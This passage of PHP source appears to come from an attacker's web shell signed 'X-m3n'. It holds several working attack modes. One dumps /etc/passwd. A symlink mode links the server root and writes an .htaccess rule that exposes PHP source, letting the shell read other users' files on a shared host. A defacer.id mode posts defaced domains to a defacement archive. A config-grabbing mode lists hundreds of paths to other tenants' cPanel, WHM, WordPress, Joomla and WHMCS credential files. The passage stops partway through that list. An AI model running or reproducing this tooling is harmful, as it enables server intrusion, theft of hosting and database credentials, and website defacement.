  2349. echo "<center>
  2350. <form method=\"POST\">
  2351. <textarea name=\"passwd\" class='area' rows='15' cols='60'>";
  2352. $file = '/etc/passwd';
  2353. $read = @fopen($file, 'r');
  2354. if ($read){
  2355. $body = @fread($read, @filesize($file));
  2356. echo "".htmlentities($body)."";
  2357. }
  2358. elseif(!$read)
  2359. {
  2360. $read = @show_source($file) ;
  2361. }
  2362. elseif(!$read)
  2363. {
  2364. $read = @highlight_file($file);
  2365. }
  2366. elseif(!$read)
  2367. {
  2368. for($uid=0;$uid<1000;$uid++)
  2369. {
  2370. $ara = posix_getpwuid($uid);
  2371. if (!empty($ara))
  2372. {
  2373. while (list ($key, $val) = each($ara))
  2374. {
  2375. print "$val:";
  2376. }
  2377. print "\n";
  2378. }}}
  2379.  
  2380. flush();
  2381.  
  2382. echo "</textarea>
  2383. <p><input name=\"m\" size=\"80\" value=\"Start\" type=\"submit\"/></p>
  2384. </form></center>";
  2385. }
  2386. }
  2387. }
  2388. elseif($_GET['do'] == 'symlink') {
  2389. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  2390. $d0mains = @file("/etc/named.conf");
  2391. ##httaces
  2392. if($d0mains){
  2393. @mkdir("Sym",0777);
  2394. @chdir("Sym");
  2395. @exe("ln -s / root");
  2396. $file3 = 'Options Indexes FollowSymLinks
  2397. DirectoryIndex X-m3n.htm
  2398. AddType text/plain .php
  2399. AddHandler text/plain .php
  2400. Satisfy Any';
  2401. $fp3 = fopen('.htaccess','w');
  2402. $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  2403. echo "
  2404. <table align=center border=1 style='width:60%;border-color:#333333;'>
  2405. <tr>
  2406. <td align=center><font size=2>S. No.</font></td>
  2407. <td align=center><font size=2>Domains</font></td>
  2408. <td align=center><font size=2>Users</font></td>
  2409. <td align=center><font size=2>Symlink</font></td>
  2410. </tr>";
  2411. $dcount = 1;
  2412. foreach($d0mains as $d0main){
  2413. if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
  2414. flush();
  2415. if(strlen(trim($domains[1][0])) > 2){
  2416. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  2417. echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
  2418. <td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
  2419. <td>".$user['name']."</td>
  2420. <td><a href='$full/Sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
  2421. flush();
  2422. $dcount++;}}}
  2423. echo "</table>";
  2424. }else{
  2425. $TEST=@file('/etc/passwd');
  2426. if ($TEST){
  2427. @mkdir("Sym",0777);
  2428. @chdir("Sym");
  2429. exe("ln -s / root");
  2430. $file3 = 'Options Indexes FollowSymLinks
  2431. DirectoryIndex X-m3n.htm
  2432. AddType text/plain .php
  2433. AddHandler text/plain .php
  2434. Satisfy Any';
  2435. $fp3 = fopen('.htaccess','w');
  2436. $fw3 = fwrite($fp3,$file3);
  2437. @fclose($fp3);
  2438. echo "
  2439. <table align=center border=1><tr>
  2440. <td align=center><font size=3>S. No.</font></td>
  2441. <td align=center><font size=3>Users</font></td>
  2442. <td align=center><font size=3>Symlink</font></td></tr>";
  2443. $dcount = 1;
  2444. $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
  2445. while(!feof($file)){
  2446. $s = fgets($file);
  2447. $matches = array();
  2448. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  2449. $matches = str_replace("home/","",$matches[1]);
  2450. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2451. continue;
  2452. echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  2453. <td align=center><font class=txt>" . $matches . "</td>";
  2454. echo "<td align=center><font class=txt><a href=$full/Sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  2455. $dcount++;}fclose($file);
  2456. echo "</table>";}else{if($os != "Windows"){@mkdir("Sym",0777);@chdir("Sym");@exe("ln -s / root");$file3 = '
  2457. Options Indexes FollowSymLinks
  2458. DirectoryIndex X-m3n.htm
  2459. AddType text/plain .php
  2460. AddHandler text/plain .php
  2461. Satisfy Any
  2462. ';
  2463. $fp3 = fopen('.htaccess','w');
  2464. $fw3 = fwrite($fp3,$file3);@fclose($fp3);
  2465. echo "
  2466. <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
  2467. <table align=center border=1><tr>
  2468. <td align=center><font size=3>ID</font></td>
  2469. <td align=center><font size=3>Users</font></td>
  2470. <td align=center><font size=3>Symlink</font></td></tr>";
  2471. $temp = "";$val1 = 0;$val2 = 1000;
  2472. for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
  2473. if ($uid)$temp .= join(':',$uid)."\n";}
  2474. echo '<br/>';$temp = trim($temp);$file5 =
  2475. fopen("test.txt","w");
  2476. fputs($file5,$temp);
  2477. fclose($file5);$dcount = 1;$file =
  2478. fopen("test.txt", "r") or exit("Unable to open file!");
  2479. while(!feof($file)){$s = fgets($file);$matches = array();
  2480. $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
  2481. if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  2482. continue;
  2483. echo "<tr><td align=center><font size=2>" . $dcount . "</td>
  2484. <td align=center><font class=txt>" . $matches . "</td>";
  2485. echo "<td align=center><font class=txt><a href=$full/Sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
  2486. $dcount++;}
  2487. fclose($file);
  2488. echo "</table></div></center>";unlink("test.txt");
  2489. } else
  2490. echo "<center><font size=3>Cannot create Symlink</font></center>";
  2491. }
  2492. }
  2493. }
  2494. elseif($_GET['do'] == 'defacerid') {
  2495. echo "<center><form method='post'>
  2496. <u>Defacer</u>: <br>
  2497. <input type='text' name='hekel' size='50' value='X-m3n'><br>
  2498. <u>Team</u>: <br>
  2499. <input type='text' name='tim' size='50' value='X--protocol'><br>
  2500. <u>Domains</u>: <br>
  2501. <textarea style='width: 450px; height: 150px;' name='sites'></textarea><br>
  2502. <input type='submit' name='go' value='Submit' style='width: 450px;'>
  2503. </form>";
  2504. $site = explode("\r\n", $_POST['sites']);
  2505. $go = $_POST['go'];
  2506. $hekel = $_POST['hekel'];
  2507. $tim = $_POST['tim'];
  2508. if($go) {
  2509. foreach($site as $sites) {
  2510. $zh = $sites;
  2511. $form_url = "https://www.defacer.id/notify";
  2512. $data_to_post = array();
  2513. $data_to_post['attacker'] = "X-m3n";
  2514. $data_to_post['team'] = "X-protocol";
  2515. $data_to_post['poc'] = 'SQL Injection';
  2516. $data_to_post['url'] = "$zh";
  2517. $curl = curl_init();
  2518. curl_setopt($curl,CURLOPT_URL, $form_url);
  2519. curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post));
  2520. curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
  2521. curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post);
  2522. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  2523. curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
  2524. $result = curl_exec($curl);
  2525. echo $result;
  2526. curl_close($curl);
  2527. echo "<br>";
  2528. }
  2529. }
  2530. }
  2531.  
  2532. elseif($_GET['do'] == 'config') {
  2533. if($_POST){
  2534. $passwd = $_POST['passwd'];
  2535. mkdir("xmen_config", 0777);
  2536. $isi_htc = "Options all\nRequire None\nSatisfy Any";
  2537. $htc = fopen("xmen_config/.htaccess","w");
  2538. fwrite($htc, $isi_htc);
  2539. preg_match_all('/(.*?):x:/', $passwd, $user_config);
  2540. foreach($user_config[1] as $user_cox) {
  2541. $user_config_dir = "/home/$user_cox/public_html/";
  2542. if(is_readable($user_config_dir)) {
  2543. $grab_config = array(
  2544. "/home/$user_cox/.my.cnf" => "cpanel",
  2545. "/home/$user_cox/.accesshash" => "WHM-accesshash",
  2546. "/home/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  2547. "/home/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  2548. "/home/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  2549. "/home/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
  2550. "/home/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  2551. "/home/$user_cox/public_html/forum/config.php" => "phpBB",
  2552. "/home/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  2553. "/home/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  2554. "/home/$user_cox/public_html/app/etc/local.xml" => "Magento",
  2555. "/home/$user_cox/public_html/admin/config.php" => "OpenCart",
  2556. "/home/$user_cox/public_html/slconfig.php" => "Sitelok",
  2557. "/home/$user_cox/public_html/application/config/database.php" => "Ellislab",
  2558. "/home/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  2559. "/home/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  2560. "/home/$user_cox/public_html/central/configuration.php" => "WHM Central",
  2561. "/home/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  2562. "/home/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  2563. "/home/$user_cox/public_html/submitticket.php" => "WHMCS",
  2564. "/home/$user_cox/public_html/configuration.php" => "Joomla",
  2565. "/home/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  2566. "/home/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  2567. "/home/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
  2568. "/home/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  2569. "/home/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  2570. "/home/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  2571. "/home/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  2572. "/home/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  2573. "/home/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  2574. "/home/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  2575. "/home/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  2576. "/home/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  2577. "/home/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  2578. "/home/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  2579. "/home/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  2580. "/home/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  2581. "/home/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  2582. "/home/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  2583. "/home/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  2584. "/home/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  2585. "/home/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  2586. "/home/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  2587. "/home/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  2588. "/home/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  2589. "/home/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  2590. "/home/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  2591. "/home/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  2592. "/home/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  2593. "/home/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  2594. "/home/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  2595. "/home/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  2596. "/home/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  2597. "/home/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  2598. "/home/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  2599. "/home/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  2600. "/home/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
  2601. "/home/$user_cox/public_html/wp-config.php" => "WordPress",
  2602. "/home/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  2603. "/home/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  2604. "/home/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
  2605. "/home/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  2606. "/home/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  2607. "/home/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  2608. "/home/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  2609. "/home/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  2610. "/home/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  2611. "/home/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  2612. "/home/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  2613. "/home/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  2614. "/home/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  2615. "/home/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  2616. "/home/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  2617. "/home/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  2618. "/home/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  2619. "/home/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  2620. "/home/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  2621. "/home/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  2622. "/home/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  2623. "/home/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  2624. "/home/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  2625. "/home/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  2626. "/home/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  2627. "/home/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  2628. "/home/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  2629. "/home/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  2630. "/home/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  2631. "/home/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  2632. "/home/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  2633. "/home/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  2634. "/home/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  2635. "/home/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  2636. "/home/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  2637. "/home/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
  2638. "/home1/$user_cox/.my.cnf" => "cpanel",
  2639. "/home1/$user_cox/.accesshash" => "WHM-accesshash",
  2640. "/home1/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  2641. "/home1/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  2642. "/home1/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  2643. "/home1/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
  2644. "/home1/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  2645. "/home1/$user_cox/public_html/forum/config.php" => "phpBB",
  2646. "/home1/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  2647. "/home1/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  2648. "/home1/$user_cox/public_html/app/etc/local.xml" => "Magento",
  2649. "/home1/$user_cox/public_html/admin/config.php" => "OpenCart",
  2650. "/home1/$user_cox/public_html/slconfig.php" => "Sitelok",
  2651. "/home1/$user_cox/public_html/application/config/database.php" => "Ellislab",
  2652. "/home1/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  2653. "/home1/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  2654. "/home1/$user_cox/public_html/central/configuration.php" => "WHM Central",
  2655. "/home1/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  2656. "/home1/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  2657. "/home1/$user_cox/public_html/submitticket.php" => "WHMCS",
  2658. "/home1/$user_cox/public_html/configuration.php" => "Joomla",
  2659. "/home1/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  2660. "/home1/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  2661. "/home1/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
  2662. "/home1/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  2663. "/home1/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  2664. "/home1/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  2665. "/home1/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  2666. "/home1/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  2667. "/home1/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  2668. "/home1/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  2669. "/home1/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  2670. "/home1/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  2671. "/home1/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  2672. "/home1/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  2673. "/home1/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  2674. "/home1/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  2675. "/home1/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  2676. "/home1/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  2677. "/home1/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  2678. "/home1/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  2679. "/home1/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  2680. "/home1/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  2681. "/home1/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  2682. "/home1/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  2683. "/home1/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  2684. "/home1/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  2685. "/home1/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  2686. "/home1/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  2687. "/home1/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  2688. "/home1/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  2689. "/home1/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  2690. "/home1/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  2691. "/home1/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  2692. "/home1/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  2693. "/home1/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  2694. "/home1/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
  2695. "/home1/$user_cox/public_html/wp-config.php" => "WordPress",
  2696. "/home1/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  2697. "/home1/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  2698. "/home1/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
  2699. "/home1/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  2700. "/home1/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  2701. "/home1/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  2702. "/home1/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  2703. "/home1/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  2704. "/home1/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  2705. "/home1/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  2706. "/home1/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  2707. "/home1/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  2708. "/home1/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  2709. "/home1/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  2710. "/home1/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  2711. "/home1/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  2712. "/home1/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  2713. "/home1/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  2714. "/home1/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  2715. "/home1/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  2716. "/home1/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  2717. "/home1/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  2718. "/home1/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  2719. "/home1/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  2720. "/home1/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  2721. "/home1/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  2722. "/home1/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  2723. "/home1/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  2724. "/home1/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  2725. "/home1/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  2726. "/home1/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  2727. "/home1/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  2728. "/home1/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  2729. "/home1/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  2730. "/home1/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  2731. "/home1/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
  2732. "/home2/$user_cox/.my.cnf" => "cpanel",
  2733. "/home2/$user_cox/.accesshash" => "WHM-accesshash",
  2734. "/home2/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  2735. "/home2/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  2736. "/home2/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  2737. "/home2/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
  2738. "/home2/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  2739. "/home2/$user_cox/public_html/forum/config.php" => "phpBB",
  2740. "/home2/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  2741. "/home2/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  2742. "/home2/$user_cox/public_html/app/etc/local.xml" => "Magento",
  2743. "/home2/$user_cox/public_html/admin/config.php" => "OpenCart",
  2744. "/home2/$user_cox/public_html/slconfig.php" => "Sitelok",
  2745. "/home2/$user_cox/public_html/application/config/database.php" => "Ellislab",
  2746. "/home2/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  2747. "/home2/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  2748. "/home2/$user_cox/public_html/central/configuration.php" => "WHM Central",
  2749. "/home2/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  2750. "/home2/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  2751. "/home2/$user_cox/public_html/submitticket.php" => "WHMCS",
  2752. "/home2/$user_cox/public_html/configuration.php" => "Joomla",
  2753. "/home2/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  2754. "/home2/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  2755. "/home2/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
  2756. "/home2/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  2757. "/home2/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  2758. "/home2/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  2759. "/home2/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  2760. "/home2/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  2761. "/home2/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  2762. "/home2/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  2763. "/home2/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  2764. "/home2/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  2765. "/home2/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  2766. "/home2/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  2767. "/home2/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  2768. "/home2/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  2769. "/home2/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  2770. "/home2/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  2771. "/home2/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  2772. "/home2/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  2773. "/home2/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  2774. "/home2/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  2775. "/home2/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  2776. "/home2/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  2777. "/home2/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  2778. "/home2/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  2779. "/home2/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  2780. "/home2/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  2781. "/home2/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  2782. "/home2/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  2783. "/home2/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  2784. "/home2/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  2785. "/home2/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  2786. "/home2/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  2787. "/home2/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  2788. "/home2/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
  2789. "/home2/$user_cox/public_html/wp-config.php" => "WordPress",
  2790. "/home2/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  2791. "/home2/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  2792. "/home2/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
  2793. "/home2/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  2794. "/home2/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  2795. "/home2/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  2796. "/home2/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  2797. "/home2/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  2798. "/home2/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  2799. "/home2/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  2800. "/home2/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  2801. "/home2/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  2802. "/home2/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  2803. "/home2/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  2804. "/home2/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  2805. "/home2/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  2806. "/home2/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  2807. "/home2/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  2808. "/home2/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  2809. "/home2/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  2810. "/home2/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  2811. "/home2/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  2812. "/home2/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  2813. "/home2/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  2814. "/home2/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  2815. "/home2/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
